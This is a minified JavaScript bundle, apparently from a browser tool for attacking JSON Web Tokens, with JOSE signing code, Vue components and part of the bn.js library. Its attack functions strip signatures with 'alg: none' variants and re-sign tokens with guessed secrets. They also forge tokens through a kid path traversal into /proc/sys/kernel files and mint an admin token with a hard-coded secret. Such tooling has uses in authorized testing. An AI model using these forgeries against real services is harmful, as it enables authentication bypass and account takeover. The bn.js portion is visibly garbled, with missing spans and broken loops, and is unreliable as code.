r;super(t),this.code="ERR_JOSE_GENERIC",this.name=this.constructor.name,(r=Error.captureStackTrace)==null||r.call(Error,this,this.constructor)}}class xr extends ja{constructor(){super(...arguments),this.code="ERR_JOSE_NOT_SUPPORTED"}static get code(){return"ERR_JOSE_NOT_SUPPORTED"}}class En extends ja{constructor(){super(...arguments),this.code="ERR_JWS_INVALID"}static get code(){return"ERR_JWS_INVALID"}}class _d extends ja{constructor(){super(...arguments),this.code="ERR_JWT_INVALID"}static get code(){return"ERR_JWT_INVALID"}}function or(e,t="algorithm.name"){return new TypeError(`CryptoKey does not support this operation, its ${t} must be ${e}`)}function Vn(e,t){return e.name===t}function Xi(e){return parseInt(e.name.slice(4),10)}function Ed(e){switch(e){case"ES256":return"P-256";case"ES384":return"P-384";case"ES512":return"P-521";default:throw new Error("unreachable")}}function Ad(e,t){if(t.length&&!t.some(r=>e.usages.includes(r))){let r="CryptoKey does not support this operation, its usages must include ";if(t.length>2){const n=t.pop();r+=`one of ${t.join(", ")}, or ${n}.`}else t.length===2?r+=`one of ${t[0]} or ${t[1]}.`:r+=`${t[0]}.`;throw new TypeError(r)}}function Id(e,t,...r){switch(t){case"HS256":case"HS384":case"HS512":{if(!Vn(e.algorithm,"HMAC"))throw or("HMAC");const n=parseInt(t.slice(2),10);if(Xi(e.algorithm.hash)!==n)throw or(`SHA-${n}`,"algorithm.hash");break}case"RS256":case"RS384":case"RS512":{if(!Vn(e.algorithm,"RSASSA-PKCS1-v1_5"))throw or("RSASSA-PKCS1-v1_5");const n=parseInt(t.slice(2),10);if(Xi(e.algorithm.hash)!==n)throw or(`SHA-${n}`,"algorithm.hash");break}case"PS256":case"PS384":case"PS512":{if(!Vn(e.algorithm,"RSA-PSS"))throw or("RSA-PSS");const n=parseInt(t.slice(2),10);if(Xi(e.algorithm.hash)!==n)throw or(`SHA-${n}`,"algorithm.hash");break}case"EdDSA":{if(e.algorithm.name!=="Ed25519"&&e.algorithm.name!=="Ed448")throw or("Ed25519 or Ed448");break}case"ES256":case"ES384":case"ES512":{if(!Vn(e.algorithm,"ECDSA"))throw or("ECDSA");const n=Ed(t);if(e.algorithm.namedCurve!==n)throw or(n,"algorithm.namedCurve");break}default:throw new TypeError("CryptoKey does not support this operation")}Ad(e,r)}function Gs(e,t,...r){var n;if(r.length>2){const i=r.pop();e+=`one of type ${r.join(", ")}, or ${i}.`}else r.length===2?e+=`one of type ${r[0]} or ${r[1]}.`:e+=`of type ${r[0]}.`;return t==null?e+=` Received ${t}`:typeof t=="function"&&t.name?e+=` Received function ${t.name}`:typeof t=="object"&&t!=null&&(n=t.constructor)!=null&&n.name&&(e+=` Received an instance of ${t.constructor.name}`),e}const zo=(e,...t)=>Gs("Key must be ",e,...t);function Zs(e,t,...r){return Gs(`Key for the ${e} algorithm must be `,t,...r)}const Qs=e=>Xs(e)?!0:(e==null?void 0:e[Symbol.toStringTag])==="KeyObject",Zn=["CryptoKey"],Od=(...e)=>{const t=e.filter(Boolean);if(t.length===0||t.length===1)return!0;let r;for(const n of t){const i=Object.keys(n);if(!r||r.size===0){r=new Set(i);continue}for(const a of i){if(r.has(a))return!1;r.add(a)}}return!0};function Bd(e){return typeof e=="object"&&e!==null}function kd(e){if(!Bd(e)||Object.prototype.toString.call(e)!=="[object Object]")return!1;if(Object.getPrototypeOf(e)===null)return!0;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}const Cd=(e,t)=>{if(e.startsWith("RS")||e.startsWith("PS")){const{modulusLength:r}=t.algorithm;if(typeof r!="number"||r<2048)throw new TypeError(`${e} requires key modulusLength to be 2048 bits or larger`)}};function Rd(e){let t,r;switch(e.kty){case"RSA":{switch(e.alg){case"PS256":case"PS384":case"PS512":t={name:"RSA-PSS",hash:`SHA-${e.alg.slice(-3)}`},r=e.d?["sign"]:["verify"];break;case"RS256":case"RS384":case"RS512":t={name:"RSASSA-PKCS1-v1_5",hash:`SHA-${e.alg.slice(-3)}`},r=e.d?["sign"]:["verify"];break;case"RSA-OAEP":case"RSA-OAEP-256":case"RSA-OAEP-384":case"RSA-OAEP-512":t={name:"RSA-OAEP",hash:`SHA-${parseInt(e.alg.slice(-3),10)||1}`},r=e.d?["decrypt","unwrapKey"]:["encrypt","wrapKey"];break;default:throw new xr('Invalid or unsupported JWK "alg" (Algorithm) Parameter value')}break}case"EC":{switch(e.alg){case"ES256":t={name:"ECDSA",namedCurve:"P-256"},r=e.d?["sign"]:["verify"];break;case"ES384":t={name:"ECDSA",namedCurve:"P-384"},r=e.d?["sign"]:["verify"];break;case"ES512":t={name:"ECDSA",namedCurve:"P-521"},r=e.d?["sign"]:["verify"];break;case"ECDH-ES":case"ECDH-ES+A128KW":case"ECDH-ES+A192KW":case"ECDH-ES+A256KW":t={name:"ECDH",namedCurve:e.crv},r=e.d?["deriveBits"]:[];break;default:throw new xr('Invalid or unsupported JWK "alg" (Algorithm) Parameter value')}break}case"OKP":{switch(e.alg){case"EdDSA":t={name:e.crv},r=e.d?["sign"]:["verify"];break;case"ECDH-ES":case"ECDH-ES+A128KW":case"ECDH-ES+A192KW":case"ECDH-ES+A256KW":t={name:e.crv},r=e.d?["deriveBits"]:[];break;default:throw new xr('Invalid or unsupported JWK "alg" (Algorithm) Parameter value')}break}default:throw new xr('Invalid or unsupported JWK "kty" (Key Type) Parameter value')}return{algorithm:t,keyUsages:r}}const $d=async e=>{if(!e.alg)throw new TypeError('"alg" argument is required when "jwk.alg" is not present');const{algorithm:t,keyUsages:r}=Rd(e),n=[t,e.ext??!1,e.key_ops??r],i={...e};return delete i.alg,delete i.use,ui.subtle.importKey("jwk",i,...n)},ef=e=>Md(e);let Gi,Zi;const tf=e=>(e==null?void 0:e[Symbol.toStringTag])==="KeyObject",rf=async(e,t,r,n)=>{let i=e.get(t);if(i!=null&&i[n])return i[n];const a=await $d({...r,alg:n});return i?i[n]=a:e.set(t,{[n]:a}),a},Td=(e,t)=>{if(tf(e)){let r=e.export({format:"jwk"});return delete r.d,delete r.dp,delete r.dq,delete r.p,delete r.q,delete r.qi,r.k?ef(r.k):(Zi||(Zi=new WeakMap),rf(Zi,e,r,t))}return e},Pd=(e,t)=>{if(tf(e)){let r=e.export({format:"jwk"});return r.k?ef(r.k):(Gi||(Gi=new WeakMap),rf(Gi,e,r,t))}return e},Nd={normalizePublicKey:Td,normalizePrivateKey:Pd},mr=(e,t,r=0)=>{r===0&&(t.unshift(t.length),t.unshift(6));const n=e.indexOf(t[0],r);if(n===-1)return!1;const i=e.subarray(n,n+t.length);return i.length!==t.length?!1:i.every((a,s)=>a===t[s])||mr(e,t,n+1)},Do=e=>{switch(!0){case mr(e,[42,134,72,206,61,3,1,7]):return"P-256";case mr(e,[43,129,4,0,34]):return"P-384";case mr(e,[43,129,4,0,35]):return"P-521";case mr(e,[43,101,110]):return"X25519";case mr(e,[43,101,111]):return"X448";case mr(e,[43,101,112]):return"Ed25519";case mr(e,[43,101,113]):return"Ed448";default:throw new xr("Invalid or unsupported EC Key Curve or OKP Key Sub Type")}},zd=async(e,t,r,n,i)=>{let a,s;const o=new Uint8Array(atob(r.replace(e,"")).split("").map(d=>d.charCodeAt(0)));switch(n){case"PS256":case"PS384":case"PS512":a={name:"RSA-PSS",hash:`SHA-${n.slice(-3)}`},s=["sign"];break;case"RS256":case"RS384":case"RS512":a={name:"RSASSA-PKCS1-v1_5",hash:`SHA-${n.slice(-3)}`},s=["sign"];break;case"RSA-OAEP":case"RSA-OAEP-256":case"RSA-OAEP-384":case"RSA-OAEP-512":a={name:"RSA-OAEP",hash:`SHA-${parseInt(n.slice(-3),10)||1}`},s=["decrypt","unwrapKey"];break;case"ES256":a={name:"ECDSA",namedCurve:"P-256"},s=["sign"];break;case"ES384":a={name:"ECDSA",namedCurve:"P-384"},s=["sign"];break;case"ES512":a={name:"ECDSA",namedCurve:"P-521"},s=["sign"];break;case"ECDH-ES":case"ECDH-ES+A128KW":case"ECDH-ES+A192KW":case"ECDH-ES+A256KW":{const d=Do(o);a=d.startsWith("P-")?{name:"ECDH",namedCurve:d}:{name:d},s=["deriveBits"];break}case"EdDSA":a={name:Do(o)},s=["sign"];break;default:throw new xr('Invalid or unsupported "alg" (Algorithm) value')}return ui.subtle.importKey(t,o,a,!1,s)},Dd=(e,t,r)=>zd(/(?:-----(?:BEGIN|END) PRIVATE KEY-----|\s)/g,"pkcs8",e,t);async function Fd(e,t,r){if(typeof e!="string"||e.indexOf("-----BEGIN PRIVATE KEY-----")!==0)throw new TypeError('"pkcs8" must be PKCS#8 formatted string');return Dd(e,t)}const On=e=>e==null?void 0:e[Symbol.toStringTag],Ld=(e,t)=>{if(!(t instanceof Uint8Array)){if(!Qs(t))throw new TypeError(Zs(e,t,...Zn,"Uint8Array"));if(t.type!=="secret")throw new TypeError(`${On(t)} instances for symmetric algorithms must be of type "secret"`)}},jd=(e,t,r)=>{if(!Qs(t))throw new TypeError(Zs(e,t,...Zn));if(t.type==="secret")throw new TypeError(`${On(t)} instances for asymmetric algorithms must not be of type "secret"`);if(t.type==="public")throw new TypeError(`${On(t)} instances for asymmetric algorithm signing must be of type "private"`);if(t.algorithm&&r==="verify"&&t.type==="private")throw new TypeError(`${On(t)} instances for asymmetric algorithm verifying must be of type "public"`);if(t.algorithm&&r==="encrypt"&&t.type==="private")throw new TypeError(`${On(t)} instances for asymmetric algorithm encryption must be of type "public"`)},Ud=(e,t,r)=>{e.startsWith("HS")||e==="dir"||e.startsWith("PBES2")||/^A\d{3}(?:GCM)?KW$/.test(e)?Ld(e,t):jd(e,t,r)};function qd(e,t,r,n,i){if(i.crit!==void 0&&(n==null?void 0:n.crit)===void 0)throw new e('"crit" (Critical) Header Parameter MUST be integrity protected');if(!n||n.crit===void 0)return new Set;if(!Array.isArray(n.crit)||n.crit.length===0||n.crit.some(s=>typeof s!="string"||s.length===0))throw new e('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present');let a;r!==void 0?a=new Map([...Object.entries(r),...t.entries()]):a=t;for(const s of n.crit){if(!a.has(s))throw new xr(`Extension Header Parameter "${s}" is not recognized`);if(i[s]===void 0)throw new e(`Extension Header Parameter "${s}" is missing`);if(a.get(s)&&n[s]===void 0)throw new e(`Extension Header Parameter "${s}" MUST be integrity protected`)}return new Set(n.crit)}function Hd(e,t){const r=`SHA-${e.slice(-3)}`;switch(e){case"HS256":case"HS384":case"HS512":return{hash:r,name:"HMAC"};case"PS256":case"PS384":case"PS512":return{hash:r,name:"RSA-PSS",saltLength:e.slice(-3)>>3};case"RS256":case"RS384":case"RS512":return{hash:r,name:"RSASSA-PKCS1-v1_5"};case"ES256":case"ES384":case"ES512":return{hash:r,name:"ECDSA",namedCurve:t.namedCurve};case"EdDSA":return{name:t.name};default:throw new xr(`alg ${e} is not supported either by JOSE or your javascript runtime`)}}async function Vd(e,t,r){if(t=await Nd.normalizePrivateKey(t,e),Xs(t))return Id(t,e,r),t;if(t instanceof Uint8Array){if(!e.startsWith("HS"))throw new TypeError(zo(t,...Zn));return ui.subtle.importKey("raw",t,{hash:`SHA-${e.slice(-3)}`,name:"HMAC"},!1,[r])}throw new TypeError(zo(t,...Zn,"Uint8Array"))}const kr=e=>Math.floor(e.getTime()/1e3),nf=60,af=nf*60,Ua=af*24,Kd=Ua*7,Wd=Ua*365.25,Jd=/^(\+|\-)? ?(\d+|\d+\.\d+) ?(seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)(?: (ago|from now))?$/i,Qi=e=>{const t=Jd.exec(e);if(!t||t[4]&&t[1])throw new TypeError("Invalid time period format");const r=parseFloat(t[2]),n=t[3].toLowerCase();let i;switch(n){case"sec":case"secs":case"second":case"seconds":case"s":i=Math.round(r);break;case"minute":case"minutes":case"min":case"mins":case"m":i=Math.round(r*nf);break;case"hour":case"hours":case"hr":case"hrs":case"h":i=Math.round(r*af);break;case"day":case"days":case"d":i=Math.round(r*Ua);break;case"week":case"weeks":case"w":i=Math.round(r*Kd);break;default:i=Math.round(r*Wd);break}return t[1]==="-"||t[4]==="ago"?-i:i},Yd=async(e,t,r)=>{const n=await Vd(e,t,"sign");Cd(e,n);const i=await ui.subtle.sign(Hd(e,n.algorithm),n,r);return new Uint8Array(i)};class Xd{constructor(t){if(!(t instanceof Uint8Array))throw new TypeError("payload must be an instance of Uint8Array");this._payload=t}setProtectedHeader(t){if(this._protectedHeader)throw new TypeError("setProtectedHeader can only be called once");return this._protectedHeader=t,this}setUnprotectedHeader(t){if(this._unprotectedHeader)throw new TypeError("setUnprotectedHeader can only be called once");return this._unprotectedHeader=t,this}async sign(t,r){if(!this._protectedHeader&&!this._unprotectedHeader)throw new En("either setProtectedHeader or setUnprotectedHeader must be called before #sign()");if(!Od(this._protectedHeader,this._unprotectedHeader))throw new En("JWS Protected and JWS Unprotected Header Parameter names must be disjoint");const n={...this._protectedHeader,...this._unprotectedHeader},i=qd(En,new Map([["b64",!0]]),r==null?void 0:r.crit,this._protectedHeader,n);let a=!0;if(i.has("b64")&&(a=this._protectedHeader.b64,typeof a!="boolean"))throw new En('The "b64" (base64url-encode payload) Header Parameter must be a boolean');const{alg:s}=n;if(typeof s!="string"||!s)throw new En('JWS "alg" (Algorithm) Header Parameter missing or invalid');Ud(s,t,"sign");let o=this._payload;a&&(o=Xr.encode(Yi(o)));let d;this._protectedHeader?d=Xr.encode(Yi(JSON.stringify(this._protectedHeader))):d=Xr.encode("");const b=xd(d,Xr.encode("."),o),p=await Yd(s,t,b),m={signature:Yi(p),payload:""};return a&&(m.payload=va.decode(o)),this._unprotectedHeader&&(m.header=this._unprotectedHeader),this._protectedHeader&&(m.protected=va.decode(d)),m}}class Gd{constructor(t){this._flattened=new Xd(t)}setProtectedHeader(t){return this._flattened.setProtectedHeader(t),this}async sign(t,r){const n=await this._flattened.sign(t,r);if(n.payload===void 0)throw new TypeError("use the flattened module for creating JWS with b64: false");return`${n.protected}.${n.payload}.${n.signature}`}}function Cr(e,t){if(!Number.isFinite(t))throw new TypeError(`Invalid ${e} input`);return t}class Zd{constructor(t={}){if(!kd(t))throw new TypeError("JWT Claims Set MUST be an object");this._payload=t}setIssuer(t){return this._payload={...this._payload,iss:t},this}setSubject(t){return this._payload={...this._payload,sub:t},this}setAudience(t){return this._payload={...this._payload,aud:t},this}setJti(t){return this._payload={...this._payload,jti:t},this}setNotBefore(t){return typeof t=="number"?this._payload={...this._payload,nbf:Cr("setNotBefore",t)}:t instanceof Date?this._payload={...this._payload,nbf:Cr("setNotBefore",kr(t))}:this._payload={...this._payload,nbf:kr(new Date)+Qi(t)},this}setExpirationTime(t){return typeof t=="number"?this._payload={...this._payload,exp:Cr("setExpirationTime",t)}:t instanceof Date?this._payload={...this._payload,exp:Cr("setExpirationTime",kr(t))}:this._payload={...this._payload,exp:kr(new Date)+Qi(t)},this}setIssuedAt(t){return typeof t>"u"?this._payload={...this._payload,iat:kr(new Date)}:t instanceof Date?this._payload={...this._payload,iat:Cr("setIssuedAt",kr(t))}:typeof t=="string"?this._payload={...this._payload,iat:Cr("setIssuedAt",kr(new Date)+Qi(t))}:this._payload={...this._payload,iat:Cr("setIssuedAt",t)},this}}class Qd extends Zd{setProtectedHeader(t){return this._protectedHeader=t,this}async sign(t,r){var i;const n=new Gd(Xr.encode(JSON.stringify(this._payload)));if(n.setProtectedHeader(this._protectedHeader),Array.isArray((i=this._protectedHeader)==null?void 0:i.crit)&&this._protectedHeader.crit.includes("b64")&&this._protectedHeader.b64===!1)throw new _d("JWTs MUST NOT use unencoded payload");return n.sign(t,r)}}class of extends Error{}function qr(e,t=!1){try{let r=e.split(".").map(s=>fi.Buffer.from(s,"base64").toString("utf-8"));const n=JSON.parse(r[0]),i=JSON.parse(r[1]);let a=[n,i];return t&&a.push(JSON.parse(r[2])),a}catch{throw new of}}function Qn(e){return btoa(JSON.stringify(e)).replace(/={1,2}$/,"")}async function ci(e){let t,r;return e.alg?r=e.alg:r=e.header.alg,r.startsWith("HS")?t=new TextEncoder().encode(e.secretKey):t=await Fd(e.secretKey,r),await new Qd(e.payload).setProtectedHeader({alg:e.alg,typ:"JWT",...e.header}).sign(t)}function e0(e){var r,n;for(var t in e)t=e[t],(r=document.getElementById(t))==null||r.classList.remove("border-error"),(n=document.getElementById(t))==null||n.classList.add("border-secondary-300")}function sf(e){var r,n;for(var t in e)t=e[t],(r=document.getElementById(t))==null||r.classList.remove("border-secondary-300"),(n=document.getElementById(t))==null||n.classList.add("border-error")}function gr(e,t){var n;for(var r in t){const i=t[r];(n=document.getElementById(e))==null||n.classList.remove(i)}}function yr(e,t){var n;for(var r in t){const i=t[r];(n=document.getElementById(e))==null||n.classList.add(i)}}async function ea(){return await ci({header:{typ:"JWT",alg:"HS256"},payload:{sub:"1",name:"admin",groups:["user","admin"]},alg:St.HS256,secretKey:"secret-to-sign-token"})}var Tn=(e=>(e.RANDOMIZE_VA_SPACE="/proc/sys/kernel/randomize_va_space",e.TIMER_MIGRATION="/proc/sys/kernel/timer_migration",e))(Tn||{}),Pr=(e=>(e.NONE="none",e.FALSE="false",e.NULL="null",e.EMPTY="empty",e))(Pr||{});function t0(e,t){const r={[Pr.NONE]:"none",[Pr.EMPTY]:"",[Pr.FALSE]:!1,[Pr.NULL]:null};let[n,i]=qr(e);return n.alg=r[t],n=Qn(n),i=Qn(i),`${n}.${i}.`}async function r0(e,t,r=St.HS256){let[n,i]=qr(e);return n.alg=r,await ci({header:n,payload:i,alg:r,secretKey:t})}async function Fo(e,t){let[r,n]=qr(e);r.kid=`../../../../../../../../..${t}`;const i={[Tn.TIMER_MIGRATION]:`1 `,[Tn.RANDOMIZE_VA_SPACE]:`2 -`};return await di({header:r,payload:n,secretKey:i[t]})}const Fn=dl("token",{state:()=>({value:""})}),n0={class:"flex justify-center"},i0=xe({__name:"none-attack",setup(e){const t=Fn(),r=si().value,n=_r().value,i=bn({algorithms:Object.values(St),options:{algorithm:Pr.NONE}});return Je(i,async()=>{e0(["jwt-token"]);try{const a=t0(t.value,i.options.algorithm);t.value=a,r.header=JSON.stringify(qr(t.value)[0],null,2)}catch{sf(["jwt-token"])}}),Je(t,async()=>{n.payload=t.value}),(a,o)=>{const s=Qt,c=oi,b=Dn;return G(),oe("div",n0,[he(b,{modelValue:Z(i).options.algorithm,"onUpdate:modelValue":o[0]||(o[0]=p=>Z(i).options.algorithm=p),options:Object.values(Z(Pr)),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select algorithm payload"},{default:et(({open:p})=>[he(c,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(ct(Z(i).options.algorithm)+" ",1),he(s,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[p&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])])}}}),br=cn(nt.ui.strategy,nt.ui.textarea,Ll),a0=xe({inheritAttrs:!1,props:{modelValue:{type:[String,Number],default:""},id:{type:String,default:null},name:{type:String,default:null},placeholder:{type:String,default:null},required:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},rows:{type:Number,default:3},maxrows:{type:Number,default:0},autoresize:{type:Boolean,default:!1},autofocus:{type:Boolean,default:!1},autofocusDelay:{type:Number,default:100},resize:{type:Boolean,default:!1},padded:{type:Boolean,default:!0},size:{type:String,default:null,validator(e){return Object.keys(br.size).includes(e)}},color:{type:String,default:()=>br.default.color,validator(e){return[...nt.ui.colors,...Object.keys(br.color)].includes(e)}},variant:{type:String,default:()=>br.default.variant,validator(e){return[...Object.keys(br.variant),...Object.values(br.color).flatMap(t=>Object.keys(t))].includes(e)}},textareaClass:{type:String,default:null},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})},modelModifiers:{type:Object,default:()=>({})}},emits:["update:modelValue","blur","change"],setup(e,{emit:t}){const{ui:r,attrs:n}=Rn("textarea",Nr(e,"ui"),br,Nr(e,"class")),{emitFormBlur:i,emitFormInput:a,inputId:o,color:s,size:c,name:b}=Ks(e,br),p=re(ns({},e.modelModifiers,{trim:!1,lazy:!1,number:!1})),m=re(null),E=()=>{var R;e.autofocus&&((R=m.value)==null||R.focus())},I=()=>{if(e.autoresize){if(!m.value)return;m.value.rows=e.rows;const R=window.getComputedStyle(m.value),N=parseInt(R.paddingTop),$=parseInt(R.paddingBottom),L=N+$,K=parseInt(R.lineHeight),{scrollHeight:j}=m.value,H=(j-L)/K;H>e.rows&&(m.value.rows=e.maxrows?Math.min(H,e.maxrows):H)}},B=R=>{p.value.trim&&(R=R.trim()),p.value.number&&(R=cl(R)),t("update:modelValue",R),a()},C=R=>{I(),p.value.lazy||B(R.target.value)},F=R=>{const N=R.target.value;t("change",N),p.value.lazy&&B(N),p.value.trim&&(R.target.value=N.trim())},z=R=>{t("blur",R),i()};Rt(()=>{setTimeout(()=>{E()},e.autofocusDelay)}),Je(()=>e.modelValue,()=>{ot(I)}),Rt(()=>{setTimeout(()=>{E(),I()},100)});const D=q(()=>{var N,$;const R=(($=(N=r.value.color)==null?void 0:N[s.value])==null?void 0:$[e.variant])||r.value.variant[e.variant];return Cn(dt(r.value.base,r.value.form,r.value.rounded,r.value.placeholder,r.value.size[c.value],e.padded?r.value.padding[c.value]:"p-0",R==null?void 0:R.replaceAll("{color}",s.value),!e.resize&&"resize-none"),e.textareaClass)});return{ui:r,attrs:n,name:b,inputId:o,textarea:m,textareaClass:D,onInput:C,onChange:F,onBlur:z}}}),o0=["id","value","name","rows","required","disabled","placeholder"];function s0(e,t,r,n,i,a){return G(),oe("div",{class:ae(e.ui.wrapper)},[ne("textarea",lr({id:e.inputId,ref:"textarea",value:e.modelValue,name:e.name,rows:e.rows,required:e.required,disabled:e.disabled,placeholder:e.placeholder,class:e.textareaClass},e.attrs,{onInput:t[0]||(t[0]=(...o)=>e.onInput&&e.onInput(...o)),onBlur:t[1]||(t[1]=(...o)=>e.onBlur&&e.onBlur(...o)),onChange:t[2]||(t[2]=(...o)=>e.onChange&&e.onChange(...o))}),null,16,o0),at(e.$slots,"default")],2)}const qa=Kr(a0,[["render",s0]]);var Er={},Ha={exports:{}};const f0={},l0=Object.freeze(Object.defineProperty({__proto__:null,default:f0},Symbol.toStringTag,{value:"Module"})),ff=dc(l0);Ha.exports;(function(e){(function(t,r){function n(x,f){if(!x)throw new Error(f||"Assertion failed")}function i(x,f){x.super_=f;var h=function(){};h.prototype=f.prototype,x.prototype=new h,x.prototype.constructor=x}function a(x,f,h){if(a.isBN(x))return x;this.negative=0,this.words=null,this.length=0,this.red=null,x!==null&&((f==="le"||f==="be")&&(h=f,f=10),this._init(x||0,f||10,h||"be"))}typeof t=="object"?t.exports=a:r.BN=a,a.BN=a,a.wordSize=26;var o;try{typeof window<"u"&&typeof window.Buffer<"u"?o=window.Buffer:o=ff.Buffer}catch{}a.isBN=function(f){return f instanceof a?!0:f!==null&&typeof f=="object"&&f.constructor.wordSize===a.wordSize&&Array.isArray(f.words)},a.max=function(f,h){return f.cmp(h)>0?f:h},a.min=function(f,h){return f.cmp(h)<0?f:h},a.prototype._init=function(f,h,g){if(typeof f=="number")return this._initNumber(f,h,g);if(typeof f=="object")return this._initArray(f,h,g);h==="hex"&&(h=16),n(h===(h|0)&&h>=2&&h<=36),f=f.toString().replace(/\s+/g,"");var y=0;f[0]==="-"&&(y++,this.negative=1),y=0;y-=3)A=f[y]|f[y-1]<<8|f[y-2]<<16,this.words[M]|=A<>>26-k&67108863,k+=24,k>=26&&(k-=26,M++);else if(g==="le")for(y=0,M=0;y>>26-k&67108863,k+=24,k>=26&&(k-=26,M++);return this.strip()};function s(x,f){var h=x.charCodeAt(f);return h>=65&&h<=70?h-55:h>=97&&h<=102?h-87:h-48&15}function c(x,f,h){var g=s(x,h);return h-1>=f&&(g|=s(x,h-1)<<4),g}a.prototype._parseHex=function(f,h,g){this.length=Math.ceil((f.length-h)/6),this.words=new Array(this.length);for(var y=0;y=h;y-=2)k=c(f,h,y)<=18?(M-=18,A+=1,this.words[A]|=k>>>26):M+=8;else{var _=f.length-h;for(y=_%2===0?h+1:h;y=18?(M-=18,A+=1,this.words[A]|=k>>>26):M+=8}this.strip()};function b(x,f,h,g){for(var y=0,M=Math.min(x.length,h),A=f;A=49?y+=k-49+10:k>=17?y+=k-17+10:y+=k}return y}a.prototype._parseBase=function(f,h,g){this.words=[0],this.length=1;for(var y=0,M=1;M<=67108863;M*=h)y++;y--,M=M/h|0;for(var A=f.length-g,k=A%y,_=Math.min(A,A-k)+g,u=0,S=g;S<_;S+=y)u=b(f,S,S+y,h),this.imuln(M),this.words[0]+u<67108864?this.words[0]+=u:this._iaddn(u);if(k!==0){var V=1;for(u=b(f,S,f.length,h),S=0;S1&&this.words[this.length-1]===0;)this.length--;return this._normSign()},a.prototype._normSign=function(){return this.length===1&&this.words[0]===0&&(this.negative=0),this},a.prototype.inspect=function(){return(this.red?""};var p=["","0","00","000","0000","00000","000000","0000000","00000000","000000000","0000000000","00000000000","000000000000","0000000000000","00000000000000","000000000000000","0000000000000000","00000000000000000","000000000000000000","0000000000000000000","00000000000000000000","000000000000000000000","0000000000000000000000","00000000000000000000000","000000000000000000000000","0000000000000000000000000"],m=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],E=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];a.prototype.toString=function(f,h){f=f||10,h=h|0||1;var g;if(f===16||f==="hex"){g="";for(var y=0,M=0,A=0;A>>24-y&16777215,M!==0||A!==this.length-1?g=p[6-_.length]+_+g:g=_+g,y+=2,y>=26&&(y-=26,A--)}for(M!==0&&(g=M.toString(16)+g);g.length%h!==0;)g="0"+g;return this.negative!==0&&(g="-"+g),g}if(f===(f|0)&&f>=2&&f<=36){var u=m[f],S=E[f];g="";var V=this.clone();for(V.negative=0;!V.isZero();){var W=V.modn(S).toString(f);V=V.idivn(S),V.isZero()?g=W+g:g=p[u-W.length]+W+g}for(this.isZero()&&(g="0"+g);g.length%h!==0;)g="0"+g;return this.negative!==0&&(g="-"+g),g}n(!1,"Base should be between 2 and 36")},a.prototype.toNumber=function(){var f=this.words[0];return this.length===2?f+=this.words[1]*67108864:this.length===3&&this.words[2]===1?f+=4503599627370496+this.words[1]*67108864:this.length>2&&n(!1,"Number can only safely store up to 53 bits"),this.negative!==0?-f:f},a.prototype.toJSON=function(){return this.toString(16)},a.prototype.toBuffer=function(f,h){return n(typeof o<"u"),this.toArrayLike(o,f,h)},a.prototype.toArray=function(f,h){return this.toArrayLike(Array,f,h)},a.prototype.toArrayLike=function(f,h,g){var y=this.byteLength(),M=g||Math.max(1,y);n(y<=M,"byte array longer than desired length"),n(M>0,"Requested array length <= 0"),this.strip();var A=h==="le",k=new f(M),_,u,S=this.clone();if(A){for(u=0;!S.isZero();u++)_=S.andln(255),S.iushrn(8),k[u]=_;for(;u=4096&&(g+=13,h>>>=13),h>=64&&(g+=7,h>>>=7),h>=8&&(g+=4,h>>>=4),h>=2&&(g+=2,h>>>=2),g+h},a.prototype._zeroBits=function(f){if(f===0)return 26;var h=f,g=0;return h&8191||(g+=13,h>>>=13),h&127||(g+=7,h>>>=7),h&15||(g+=4,h>>>=4),h&3||(g+=2,h>>>=2),h&1||g++,g},a.prototype.bitLength=function(){var f=this.words[this.length-1],h=this._countBits(f);return(this.length-1)*26+h};function I(x){for(var f=new Array(x.bitLength()),h=0;h>>y}return f}a.prototype.zeroBits=function(){if(this.isZero())return 0;for(var f=0,h=0;hf.length?this.clone().ior(f):f.clone().ior(this)},a.prototype.uor=function(f){return this.length>f.length?this.clone().iuor(f):f.clone().iuor(this)},a.prototype.iuand=function(f){var h;this.length>f.length?h=f:h=this;for(var g=0;gf.length?this.clone().iand(f):f.clone().iand(this)},a.prototype.uand=function(f){return this.length>f.length?this.clone().iuand(f):f.clone().iuand(this)},a.prototype.iuxor=function(f){var h,g;this.length>f.length?(h=this,g=f):(h=f,g=this);for(var y=0;yf.length?this.clone().ixor(f):f.clone().ixor(this)},a.prototype.uxor=function(f){return this.length>f.length?this.clone().iuxor(f):f.clone().iuxor(this)},a.prototype.inotn=function(f){n(typeof f=="number"&&f>=0);var h=Math.ceil(f/26)|0,g=f%26;this._expand(h),g>0&&h--;for(var y=0;y0&&(this.words[y]=~this.words[y]&67108863>>26-g),this.strip()},a.prototype.notn=function(f){return this.clone().inotn(f)},a.prototype.setn=function(f,h){n(typeof f=="number"&&f>=0);var g=f/26|0,y=f%26;return this._expand(g+1),h?this.words[g]=this.words[g]|1<f.length?(g=this,y=f):(g=f,y=this);for(var M=0,A=0;A>>26;for(;M!==0&&A>>26;if(this.length=g.length,M!==0)this.words[this.length]=M,this.length++;else if(g!==this)for(;Af.length?this.clone().iadd(f):f.clone().iadd(this)},a.prototype.isub=function(f){if(f.negative!==0){f.negative=0;var h=this.iadd(f);return f.negative=1,h._normSign()}else if(this.negative!==0)return this.negative=0,this.iadd(f),this.negative=1,this._normSign();var g=this.cmp(f);if(g===0)return this.negative=0,this.length=1,this.words[0]=0,this;var y,M;g>0?(y=this,M=f):(y=f,M=this);for(var A=0,k=0;k>26,this.words[k]=h&67108863;for(;A!==0&&k>26,this.words[k]=h&67108863;if(A===0&&k>>26,V=_&67108863,W=Math.min(u,f.length-1),J=Math.max(0,u-x.length+1);J<=W;J++){var 